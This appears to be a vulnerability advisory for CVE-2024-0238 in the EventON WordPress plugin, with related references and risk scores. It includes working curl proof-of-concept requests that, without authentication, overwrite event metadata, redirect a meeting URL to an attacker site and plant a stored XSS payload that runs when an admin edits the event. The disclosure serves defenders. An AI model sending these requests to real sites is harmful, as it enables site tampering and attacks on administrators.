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EventON (Free < 2.2.8, Premium < 4.5.6) - Unauthenticated Arbitrary Post Metadata Update
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | CVE-2024-0238 | 6 Feb 202414:16 | – | circl |
 | WordPress plugin EventON security vulnerability | 16 Jan 202400:00 | – | cnnvd |
 | CVE-2024-0238 | 16 Jan 202415:57 | – | cve |
 | CVE-2024-0238 EventON (Free < 2.2.8, Premium < 4.5.6) - Unauthenticated Arbitrary Post Metadata Update | 16 Jan 202415:57 | – | cvelist |
 | EUVD-2024-16036 | 3 Oct 202520:07 | – | euvd |
 | CVE-2024-0238 | 16 Jan 202416:15 | – | nvd |
 | CVE-2024-0238 | 16 Jan 202416:15 | – | osv |
 | WordPress EventON plugin < 4.5.6 - Unauthenticated Arbitrary Post Metadata Update vulnerability | 30 Jan 202607:38 | – | patchstack |
| WordPress EventON < 2.2.8 - Unauthenticated Arbitrary Post Metadata Update vulnerability | 30 Jan 202607:36 | – | patchstack |
 | Code injection | 16 Jan 202416:15 | – | prion |
10
To set the Meeting URL to https://attacker.com/ on the Virtual Event with ID 240:
curl -X POST --data "eid=240&values[_vir_url]=https://attacker.com/" 'https://example.com/wp-admin/admin-ajax.php?action=eventon_eventpost_update_meta'
To set the my_meta metadata (if it does not exist, it will be created as a custom field) to attacker on the post with ID 20:
curl -X POST --data "eid=20&values[my_meta]=attacker" 'https://example.com/wp-admin/admin-ajax.php?action=eventon_eventpost_update_meta'
This can lead to Stored XSS in Free < 2.7.7 and Premium <= 4.5.4
curl -X POST --data 'eid=240&values[_evcal_ec_f1a1_cus]=" style=animation-name:rotation onanimationstart=alert(/XSS/)//' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_eventpost_update_meta'
The XSS will be triggered when an admin will edit the event in the backendData
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30 Jan 2024 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.16.1
EPSS0.00373
SSVC